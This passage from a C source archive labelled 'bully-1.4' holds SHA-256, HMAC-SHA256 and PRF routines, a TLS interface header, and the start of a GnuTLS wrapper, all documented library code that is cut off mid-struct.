/* This is based on SHA256 implementation in LibTomCrypt that was released into
* public domain by Tom St Denis. */
/* the K array */
static const unsigned long K[64] = {
0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL,
0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL,
0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL,
0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL,
0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL,
0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL,
0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL,
0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL,
0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL,
0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL,
0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL,
0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL,
0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL
};
/* Various logical functions */
#define RORc(x, y) \
( ((((unsigned long) (x) & 0xFFFFFFFFUL) >> (unsigned long) ((y) & 31)) | \
((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL)
#define Ch(x,y,z) (z ^ (x & (y ^ z)))
#define Maj(x,y,z) (((x | y) & z) | (x & y))
#define S(x, n) RORc((x), (n))
#define R(x, n) (((x)&0xFFFFFFFFUL)>>(n))
#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22))
#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25))
#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3))
#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10))
#ifndef MIN
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
#endif
/* compress 512-bits */
static int sha256_compress(struct sha256_state *md, unsigned char *buf)
{
u32 S[8], W[64], t0, t1;
u32 t;
int i;
/* copy state into S */
for (i = 0; i < 8; i++) {
S[i] = md->state[i];
}
/* copy the state into 512-bits into W[0..15] */
for (i = 0; i < 16; i++)
W[i] = WPA_GET_BE32(buf + (4 * i));
/* fill W[16..63] */
for (i = 16; i < 64; i++) {
W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) +
W[i - 16];
}
/* Compress */
#define RND(a,b,c,d,e,f,g,h,i) \
t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \
t1 = Sigma0(a) + Maj(a, b, c); \
d += t0; \
h = t0 + t1;
for (i = 0; i < 64; ++i) {
RND(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i);
t = S[7]; S[7] = S[6]; S[6] = S[5]; S[5] = S[4];
S[4] = S[3]; S[3] = S[2]; S[2] = S[1]; S[1] = S[0]; S[0] = t;
}
/* feedback */
for (i = 0; i < 8; i++) {
md->state[i] = md->state[i] + S[i];
}
return 0;
}
/* Initialize the hash state */
static void sha256_init(struct sha256_state *md)
{
md->curlen = 0;
md->length = 0;
md->state[0] = 0x6A09E667UL;
md->state[1] = 0xBB67AE85UL;
md->state[2] = 0x3C6EF372UL;
md->state[3] = 0xA54FF53AUL;
md->state[4] = 0x510E527FUL;
md->state[5] = 0x9B05688CUL;
md->state[6] = 0x1F83D9ABUL;
md->state[7] = 0x5BE0CD19UL;
}
/**
Process a block of memory though the hash
@param md The hash state
@param in The data to hash
@param inlen The length of the data (octets)
@return CRYPT_OK if successful
*/
static int sha256_process(struct sha256_state *md, const unsigned char *in,
unsigned long inlen)
{
unsigned long n;
#define sha256_block_size 64
if (md->curlen > sizeof(md->buf))
return -1;
while (inlen > 0) {
if (md->curlen == 0 && inlen >= sha256_block_size) {
if (sha256_compress(md, (unsigned char *) in) < 0)
return -1;
md->length += sha256_block_size * 8;
in += sha256_block_size;
inlen -= sha256_block_size;
} else {
n = MIN(inlen, (sha256_block_size - md->curlen));
os_memcpy(md->buf + md->curlen, in, n);
md->curlen += n;
in += n;
inlen -= n;
if (md->curlen == sha256_block_size) {
if (sha256_compress(md, md->buf) < 0)
return -1;
md->length += 8 * sha256_block_size;
md->curlen = 0;
}
}
}
return 0;
}
/**
Terminate the hash to get the digest
@param md The hash state
@param out [out] The destination of the hash (32 bytes)
@return CRYPT_OK if successful
*/
static int sha256_done(struct sha256_state *md, unsigned char *out)
{
int i;
if (md->curlen >= sizeof(md->buf))
return -1;
/* increase the length of the message */
md->length += md->curlen * 8;
/* append the '1' bit */
md->buf[md->curlen++] = (unsigned char) 0x80;
/* if the length is currently above 56 bytes we append zeros
* then compress. Then we can fall back to padding zeros and length
* encoding like normal.
*/
if (md->curlen > 56) {
while (md->curlen < 64) {
md->buf[md->curlen++] = (unsigned char) 0;
}
sha256_compress(md, md->buf);
md->curlen = 0;
}
/* pad upto 56 bytes of zeroes */
while (md->curlen < 56) {
md->buf[md->curlen++] = (unsigned char) 0;
}
/* store length */
WPA_PUT_BE64(md->buf + 56, md->length);
sha256_compress(md, md->buf);
/* copy output */
for (i = 0; i < 8; i++)
WPA_PUT_BE32(out + (4 * i), md->state[i]);
return 0;
}
/* ===== end - public domain SHA256 implementation ===== */
bully-1.4-00/src/crypto/sha256.c 0000775 0000000 0000000 00000007771 13615304636 0016233 0 ustar 00root root 0000000 0000000 /*
* SHA-256 hash implementation and interface functions
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha256.h"
#include "crypto.h"
/**
* hmac_sha256_vector - HMAC-SHA256 over data vector (RFC 2104)
* @key: Key for HMAC operations
* @key_len: Length of the key in bytes
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash (32 bytes)
*/
void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
unsigned char tk[32];
const u8 *_addr[6];
size_t _len[6], i;
if (num_elem > 5) {
/*
* Fixed limit on the number of fragments to avoid having to
* allocate memory (which could fail).
*/
return;
}
/* if key is longer than 64 bytes reset it to key = SHA256(key) */
if (key_len > 64) {
sha256_vector(1, &key, &key_len, tk);
key = tk;
key_len = 32;
}
/* the HMAC_SHA256 transform looks like:
*
* SHA256(K XOR opad, SHA256(K XOR ipad, text))
*
* where K is an n byte key
* ipad is the byte 0x36 repeated 64 times
* opad is the byte 0x5c repeated 64 times
* and text is the data being protected */
/* start out by storing key in ipad */
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with ipad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x36;
/* perform inner SHA256 */
_addr[0] = k_pad;
_len[0] = 64;
for (i = 0; i < num_elem; i++) {
_addr[i + 1] = addr[i];
_len[i + 1] = len[i];
}
sha256_vector(1 + num_elem, _addr, _len, mac);
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with opad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x5c;
/* perform outer SHA256 */
_addr[0] = k_pad;
_len[0] = 64;
_addr[1] = mac;
_len[1] = SHA256_MAC_LEN;
sha256_vector(2, _addr, _len, mac);
}
/**
* hmac_sha256 - HMAC-SHA256 over data buffer (RFC 2104)
* @key: Key for HMAC operations
* @key_len: Length of the key in bytes
* @data: Pointers to the data area
* @data_len: Length of the data area
* @mac: Buffer for the hash (20 bytes)
*/
void hmac_sha256(const u8 *key, size_t key_len, const u8 *data,
size_t data_len, u8 *mac)
{
hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac);
}
/**
* sha256_prf - SHA256-based Pseudo-Random Function (IEEE 802.11r, 8.5.1.5.2)
* @key: Key for PRF
* @key_len: Length of the key in bytes
* @label: A unique label for each purpose of the PRF
* @data: Extra data to bind into the key
* @data_len: Length of the data
* @buf: Buffer for the generated pseudo-random key
* @buf_len: Number of bytes of key to generate
*
* This function is used to derive new, cryptographically separate keys from a
* given key.
*/
void sha256_prf(const u8 *key, size_t key_len, const char *label,
const u8 *data, size_t data_len, u8 *buf, size_t buf_len)
{
u16 counter = 1;
size_t pos, plen;
u8 hash[SHA256_MAC_LEN];
const u8 *addr[4];
size_t len[4];
u8 counter_le[2], length_le[2];
addr[0] = counter_le;
len[0] = 2;
addr[1] = (u8 *) label;
len[1] = os_strlen(label);
addr[2] = data;
len[2] = data_len;
addr[3] = length_le;
len[3] = sizeof(length_le);
WPA_PUT_LE16(length_le, buf_len * 8);
pos = 0;
while (pos < buf_len) {
plen = buf_len - pos;
WPA_PUT_LE16(counter_le, counter);
if (plen >= SHA256_MAC_LEN) {
hmac_sha256_vector(key, key_len, 4, addr, len,
&buf[pos]);
pos += SHA256_MAC_LEN;
} else {
hmac_sha256_vector(key, key_len, 4, addr, len, hash);
os_memcpy(&buf[pos], hash, plen);
break;
}
counter++;
}
}
bully-1.4-00/src/crypto/sha256.h 0000775 0000000 0000000 00000001556 13615304636 0016233 0 ustar 00root root 0000000 0000000 /*
* SHA256 hash implementation and interface functions
* Copyright (c) 2003-2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef SHA256_H
#define SHA256_H
#define SHA256_MAC_LEN 32
void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac);
void hmac_sha256(const u8 *key, size_t key_len, const u8 *data,
size_t data_len, u8 *mac);
void sha256_prf(const u8 *key, size_t key_len, const char *label,
const u8 *data, size_t data_len, u8 *buf, size_t buf_len);
#endif /* SHA256_H */
bully-1.4-00/src/crypto/tls.h 0000775 0000000 0000000 00000050103 13615304636 0016015 0 ustar 00root root 0000000 0000000 /*
* SSL/TLS interface definition
* Copyright (c) 2004-2010, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLS_H
#define TLS_H
struct tls_connection;
struct tls_keys {
const u8 *master_key; /* TLS master secret */
size_t master_key_len;
const u8 *client_random;
size_t client_random_len;
const u8 *server_random;
size_t server_random_len;
const u8 *inner_secret; /* TLS/IA inner secret */
size_t inner_secret_len;
};
enum tls_event {
TLS_CERT_CHAIN_FAILURE,
TLS_PEER_CERTIFICATE
};
/*
* Note: These are used as identifier with external programs and as such, the
* values must not be changed.
*/
enum tls_fail_reason {
TLS_FAIL_UNSPECIFIED = 0,
TLS_FAIL_UNTRUSTED = 1,
TLS_FAIL_REVOKED = 2,
TLS_FAIL_NOT_YET_VALID = 3,
TLS_FAIL_EXPIRED = 4,
TLS_FAIL_SUBJECT_MISMATCH = 5,
TLS_FAIL_ALTSUBJECT_MISMATCH = 6,
TLS_FAIL_BAD_CERTIFICATE = 7,
TLS_FAIL_SERVER_CHAIN_PROBE = 8
};
union tls_event_data {
struct {
int depth;
const char *subject;
enum tls_fail_reason reason;
const char *reason_txt;
const struct wpabuf *cert;
} cert_fail;
struct {
int depth;
const char *subject;
const struct wpabuf *cert;
const u8 *hash;
size_t hash_len;
} peer_cert;
};
struct tls_config {
const char *opensc_engine_path;
const char *pkcs11_engine_path;
const char *pkcs11_module_path;
int fips_mode;
void (*event_cb)(void *ctx, enum tls_event ev,
union tls_event_data *data);
void *cb_ctx;
};
#define TLS_CONN_ALLOW_SIGN_RSA_MD5 BIT(0)
#define TLS_CONN_DISABLE_TIME_CHECKS BIT(1)
/**
* struct tls_connection_params - Parameters for TLS connection
* @ca_cert: File or reference name for CA X.509 certificate in PEM or DER
* format
* @ca_cert_blob: ca_cert as inlined data or %NULL if not used
* @ca_cert_blob_len: ca_cert_blob length
* @ca_path: Path to CA certificates (OpenSSL specific)
* @subject_match: String to match in the subject of the peer certificate or
* %NULL to allow all subjects
* @altsubject_match: String to match in the alternative subject of the peer
* certificate or %NULL to allow all alternative subjects
* @client_cert: File or reference name for client X.509 certificate in PEM or
* DER format
* @client_cert_blob: client_cert as inlined data or %NULL if not used
* @client_cert_blob_len: client_cert_blob length
* @private_key: File or reference name for client private key in PEM or DER
* format (traditional format (RSA PRIVATE KEY) or PKCS#8 (PRIVATE KEY)
* @private_key_blob: private_key as inlined data or %NULL if not used
* @private_key_blob_len: private_key_blob length
* @private_key_passwd: Passphrase for decrypted private key, %NULL if no
* passphrase is used.
* @dh_file: File name for DH/DSA data in PEM format, or %NULL if not used
* @dh_blob: dh_file as inlined data or %NULL if not used
* @dh_blob_len: dh_blob length
* @engine: 1 = use engine (e.g., a smartcard) for private key operations
* (this is OpenSSL specific for now)
* @engine_id: engine id string (this is OpenSSL specific for now)
* @ppin: pointer to the pin variable in the configuration
* (this is OpenSSL specific for now)
* @key_id: the private key's id when using engine (this is OpenSSL
* specific for now)
* @cert_id: the certificate's id when using engine
* @ca_cert_id: the CA certificate's id when using engine
* @tls_ia: Whether to enable TLS/IA (for EAP-TTLSv1)
* @flags: Parameter options (TLS_CONN_*)
*
* TLS connection parameters to be configured with tls_connection_set_params()
* and tls_global_set_params().
*
* Certificates and private key can be configured either as a reference name
* (file path or reference to certificate store) or by providing the same data
* as a pointer to the data in memory. Only one option will be used for each
* field.
*/
struct tls_connection_params {
const char *ca_cert;
const u8 *ca_cert_blob;
size_t ca_cert_blob_len;
const char *ca_path;
const char *subject_match;
const char *altsubject_match;
const char *client_cert;
const u8 *client_cert_blob;
size_t client_cert_blob_len;
const char *private_key;
const u8 *private_key_blob;
size_t private_key_blob_len;
const char *private_key_passwd;
const char *dh_file;
const u8 *dh_blob;
size_t dh_blob_len;
int tls_ia;
/* OpenSSL specific variables */
int engine;
const char *engine_id;
const char *pin;
const char *key_id;
const char *cert_id;
const char *ca_cert_id;
unsigned int flags;
};
/**
* tls_init - Initialize TLS library
* @conf: Configuration data for TLS library
* Returns: Context data to be used as tls_ctx in calls to other functions,
* or %NULL on failure.
*
* Called once during program startup and once for each RSN pre-authentication
* session. In other words, there can be two concurrent TLS contexts. If global
* library initialization is needed (i.e., one that is shared between both
* authentication types), the TLS library wrapper should maintain a reference
* counter and do global initialization only when moving from 0 to 1 reference.
*/
void * tls_init(const struct tls_config *conf);
/**
* tls_deinit - Deinitialize TLS library
* @tls_ctx: TLS context data from tls_init()
*
* Called once during program shutdown and once for each RSN pre-authentication
* session. If global library deinitialization is needed (i.e., one that is
* shared between both authentication types), the TLS library wrapper should
* maintain a reference counter and do global deinitialization only when moving
* from 1 to 0 references.
*/
void tls_deinit(void *tls_ctx);
/**
* tls_get_errors - Process pending errors
* @tls_ctx: TLS context data from tls_init()
* Returns: Number of found error, 0 if no errors detected.
*
* Process all pending TLS errors.
*/
int tls_get_errors(void *tls_ctx);
/**
* tls_connection_init - Initialize a new TLS connection
* @tls_ctx: TLS context data from tls_init()
* Returns: Connection context data, conn for other function calls
*/
struct tls_connection * tls_connection_init(void *tls_ctx);
/**
* tls_connection_deinit - Free TLS connection data
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
*
* Release all resources allocated for TLS connection.
*/
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn);
/**
* tls_connection_established - Has the TLS connection been completed?
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: 1 if TLS connection has been completed, 0 if not.
*/
int tls_connection_established(void *tls_ctx, struct tls_connection *conn);
/**
* tls_connection_shutdown - Shutdown TLS connection
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: 0 on success, -1 on failure
*
* Shutdown current TLS connection without releasing all resources. New
* connection can be started by using the same conn without having to call
* tls_connection_init() or setting certificates etc. again. The new
* connection should try to use session resumption.
*/
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn);
enum {
TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED = -3,
TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED = -2
};
/**
* tls_connection_set_params - Set TLS connection parameters
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @params: Connection parameters
* Returns: 0 on success, -1 on failure,
* TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing
* PKCS#11 engine failure, or
* TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the
* PKCS#11 engine private key.
*/
int __must_check
tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
const struct tls_connection_params *params);
/**
* tls_global_set_params - Set TLS parameters for all TLS connection
* @tls_ctx: TLS context data from tls_init()
* @params: Global TLS parameters
* Returns: 0 on success, -1 on failure,
* TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing
* PKCS#11 engine failure, or
* TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the
* PKCS#11 engine private key.
*/
int __must_check tls_global_set_params(
void *tls_ctx, const struct tls_connection_params *params);
/**
* tls_global_set_verify - Set global certificate verification options
* @tls_ctx: TLS context data from tls_init()
* @check_crl: 0 = do not verify CRLs, 1 = verify CRL for the user certificate,
* 2 = verify CRL for all certificates
* Returns: 0 on success, -1 on failure
*/
int __must_check tls_global_set_verify(void *tls_ctx, int check_crl);
/**
* tls_connection_set_verify - Set certificate verification options
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @verify_peer: 1 = verify peer certificate
* Returns: 0 on success, -1 on failure
*/
int __must_check tls_connection_set_verify(void *tls_ctx,
struct tls_connection *conn,
int verify_peer);
/**
* tls_connection_set_ia - Set TLS/IA parameters
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @tls_ia: 1 = enable TLS/IA
* Returns: 0 on success, -1 on failure
*
* This function is used to configure TLS/IA in server mode where
* tls_connection_set_params() is not used.
*/
int __must_check tls_connection_set_ia(void *tls_ctx,
struct tls_connection *conn,
int tls_ia);
/**
* tls_connection_get_keys - Get master key and random data from TLS connection
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @keys: Structure of key/random data (filled on success)
* Returns: 0 on success, -1 on failure
*/
int __must_check tls_connection_get_keys(void *tls_ctx,
struct tls_connection *conn,
struct tls_keys *keys);
/**
* tls_connection_prf - Use TLS-PRF to derive keying material
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @label: Label (e.g., description of the key) for PRF
* @server_random_first: seed is 0 = client_random|server_random,
* 1 = server_random|client_random
* @out: Buffer for output data from TLS-PRF
* @out_len: Length of the output buffer
* Returns: 0 on success, -1 on failure
*
* This function is optional to implement if tls_connection_get_keys() provides
* access to master secret and server/client random values. If these values are
* not exported from the TLS library, tls_connection_prf() is required so that
* further keying material can be derived from the master secret. If not
* implemented, the function will still need to be defined, but it can just
* return -1. Example implementation of this function is in tls_prf() function
* when it is called with seed set to client_random|server_random (or
* server_random|client_random).
*/
int __must_check tls_connection_prf(void *tls_ctx,
struct tls_connection *conn,
const char *label,
int server_random_first,
u8 *out, size_t out_len);
/**
* tls_connection_handshake - Process TLS handshake (client side)
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @in_data: Input data from TLS server
* @appl_data: Pointer to application data pointer, or %NULL if dropped
* Returns: Output data, %NULL on failure
*
* The caller is responsible for freeing the returned output data. If the final
* handshake message includes application data, this is decrypted and
* appl_data (if not %NULL) is set to point this data. The caller is
* responsible for freeing appl_data.
*
* This function is used during TLS handshake. The first call is done with
* in_data == %NULL and the library is expected to return ClientHello packet.
* This packet is then send to the server and a response from server is given
* to TLS library by calling this function again with in_data pointing to the
* TLS message from the server.
*
* If the TLS handshake fails, this function may return %NULL. However, if the
* TLS library has a TLS alert to send out, that should be returned as the
* output data. In this case, tls_connection_get_failed() must return failure
* (> 0).
*
* tls_connection_established() should return 1 once the TLS handshake has been
* completed successfully.
*/
struct wpabuf * tls_connection_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data);
/**
* tls_connection_server_handshake - Process TLS handshake (server side)
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @in_data: Input data from TLS peer
* @appl_data: Pointer to application data pointer, or %NULL if dropped
* Returns: Output data, %NULL on failure
*
* The caller is responsible for freeing the returned output data.
*/
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data,
struct wpabuf **appl_data);
/**
* tls_connection_encrypt - Encrypt data into TLS tunnel
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @in_data: Plaintext data to be encrypted
* Returns: Encrypted TLS data or %NULL on failure
*
* This function is used after TLS handshake has been completed successfully to
* send data in the encrypted tunnel. The caller is responsible for freeing the
* returned output data.
*/
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data);
/**
* tls_connection_decrypt - Decrypt data from TLS tunnel
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @in_data: Encrypted TLS data
* Returns: Decrypted TLS data or %NULL on failure
*
* This function is used after TLS handshake has been completed successfully to
* receive data from the encrypted tunnel. The caller is responsible for
* freeing the returned output data.
*/
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
struct tls_connection *conn,
const struct wpabuf *in_data);
/**
* tls_connection_resumed - Was session resumption used
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: 1 if current session used session resumption, 0 if not
*/
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn);
enum {
TLS_CIPHER_NONE,
TLS_CIPHER_RC4_SHA /* 0x0005 */,
TLS_CIPHER_AES128_SHA /* 0x002f */,
TLS_CIPHER_RSA_DHE_AES128_SHA /* 0x0031 */,
TLS_CIPHER_ANON_DH_AES128_SHA /* 0x0034 */
};
/**
* tls_connection_set_cipher_list - Configure acceptable cipher suites
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers
* (TLS_CIPHER_*).
* Returns: 0 on success, -1 on failure
*/
int __must_check tls_connection_set_cipher_list(void *tls_ctx,
struct tls_connection *conn,
u8 *ciphers);
/**
* tls_get_cipher - Get current cipher name
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @buf: Buffer for the cipher name
* @buflen: buf size
* Returns: 0 on success, -1 on failure
*
* Get the name of the currently used cipher.
*/
int __must_check tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
char *buf, size_t buflen);
/**
* tls_connection_enable_workaround - Enable TLS workaround options
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: 0 on success, -1 on failure
*
* This function is used to enable connection-specific workaround options for
* buffer SSL/TLS implementations.
*/
int __must_check tls_connection_enable_workaround(void *tls_ctx,
struct tls_connection *conn);
/**
* tls_connection_client_hello_ext - Set TLS extension for ClientHello
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @ext_type: Extension type
* @data: Extension payload (%NULL to remove extension)
* @data_len: Extension payload length
* Returns: 0 on success, -1 on failure
*/
int __must_check tls_connection_client_hello_ext(void *tls_ctx,
struct tls_connection *conn,
int ext_type, const u8 *data,
size_t data_len);
/**
* tls_connection_get_failed - Get connection failure status
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
*
* Returns >0 if connection has failed, 0 if not.
*/
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn);
/**
* tls_connection_get_read_alerts - Get connection read alert status
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: Number of times a fatal read (remote end reported error) has
* happened during this connection.
*/
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn);
/**
* tls_connection_get_write_alerts - Get connection write alert status
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: Number of times a fatal write (locally detected error) has happened
* during this connection.
*/
int tls_connection_get_write_alerts(void *tls_ctx,
struct tls_connection *conn);
/**
* tls_connection_get_keyblock_size - Get TLS key_block size
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: Size of the key_block for the negotiated cipher suite or -1 on
* failure
*/
int tls_connection_get_keyblock_size(void *tls_ctx,
struct tls_connection *conn);
#define TLS_CAPABILITY_IA 0x0001 /* TLS Inner Application (TLS/IA) */
/**
* tls_capabilities - Get supported TLS capabilities
* @tls_ctx: TLS context data from tls_init()
* Returns: Bit field of supported TLS capabilities (TLS_CAPABILITY_*)
*/
unsigned int tls_capabilities(void *tls_ctx);
/**
* tls_connection_ia_send_phase_finished - Send a TLS/IA PhaseFinished message
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @final: 1 = FinalPhaseFinished, 0 = IntermediatePhaseFinished
* Returns: Encrypted TLS/IA data, %NULL on failure
*
* This function is used to send the TLS/IA end phase message, e.g., when the
* EAP server completes EAP-TTLSv1.
*/
struct wpabuf * tls_connection_ia_send_phase_finished(
void *tls_ctx, struct tls_connection *conn, int final);
/**
* tls_connection_ia_final_phase_finished - Has final phase been completed
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* Returns: 1 if valid FinalPhaseFinished has been received, 0 if not, or -1
* on failure
*/
int __must_check tls_connection_ia_final_phase_finished(
void *tls_ctx, struct tls_connection *conn);
/**
* tls_connection_ia_permute_inner_secret - Permute TLS/IA inner secret
* @tls_ctx: TLS context data from tls_init()
* @conn: Connection context data from tls_connection_init()
* @key: Session key material (session_key vectors with 2-octet length), or
* %NULL if no session key was generating in the current phase
* @key_len: Length of session key material
* Returns: 0 on success, -1 on failure
*/
int __must_check tls_connection_ia_permute_inner_secret(
void *tls_ctx, struct tls_connection *conn,
const u8 *key, size_t key_len);
typedef int (*tls_session_ticket_cb)
(void *ctx, const u8 *ticket, size_t len, const u8 *client_random,
const u8 *server_random, u8 *master_secret);
int __must_check tls_connection_set_session_ticket_cb(
void *tls_ctx, struct tls_connection *conn,
tls_session_ticket_cb cb, void *ctx);
#endif /* TLS_H */
bully-1.4-00/src/crypto/tls_gnutls.c 0000775 0000000 0000000 00000107000 13615304636 0017403 0 ustar 00root root 0000000 0000000 /*
* SSL/TLS interface functions for GnuTLS
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include
#ifdef PKCS12_FUNCS
#include
#endif /* PKCS12_FUNCS */
#ifdef CONFIG_GNUTLS_EXTRA
#if LIBGNUTLS_VERSION_NUMBER >= 0x010302
#define GNUTLS_IA
#include
#if LIBGNUTLS_VERSION_NUMBER == 0x010302
/* This function is not included in the current gnutls/extra.h even though it
* should be, so define it here as a workaround for the time being. */
int gnutls_ia_verify_endphase(gnutls_session_t session, char *checksum);
#endif /* LIBGNUTLS_VERSION_NUMBER == 0x010302 */
#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */
#endif /* CONFIG_GNUTLS_EXTRA */
#include "common.h"
#include "tls.h"
#ifndef TLS_RANDOM_SIZE
#define TLS_RANDOM_SIZE 32
#endif
#ifndef TLS_MASTER_SIZE
#define TLS_MASTER_SIZE 48
#endif
#if LIBGNUTLS_VERSION_NUMBER < 0x010302
/* GnuTLS 1.3.2 added functions for using master secret. Older versions require
* use of internal structures to get the master_secret and
* {server,client}_random.
*/
#define GNUTLS_INTERNAL_STRUCTURE_HACK
#endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */
#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK
/*
* It looks like gnutls does not provide access to client/server_random and
* master_key. This is somewhat unfortunate since these are needed for key
* derivation in EAP-{TLS,TTLS,PEAP,FAST}. Workaround for now is a horrible
* hack that copies the gnutls_session_int definition from gnutls_int.h so that
* we can get the needed information.
*/
typedef u8 uint8;
typedef unsigned char opaque;
typedef struct {
uint8 suite[2];
} cipher_suite_st;
typedef struct {
gnutls_connection_end_t entity;
gnutls_kx_algorithm_t kx_algorithm;
gnutls_cipher_algorithm_t read_bulk_cipher_algorithm;
gnutls_mac_algorithm_t read_mac_algorithm;
gnutls_compression_method_t read_compression_algorithm;
gnutls_cipher_algorithm_t write_bulk_cipher_algorithm;
gnutls_mac_algorithm_t write_mac_algorithm;
gnutls_compression_method_t write_compression_algorithm;
cipher_suite_st current_cipher_suite;
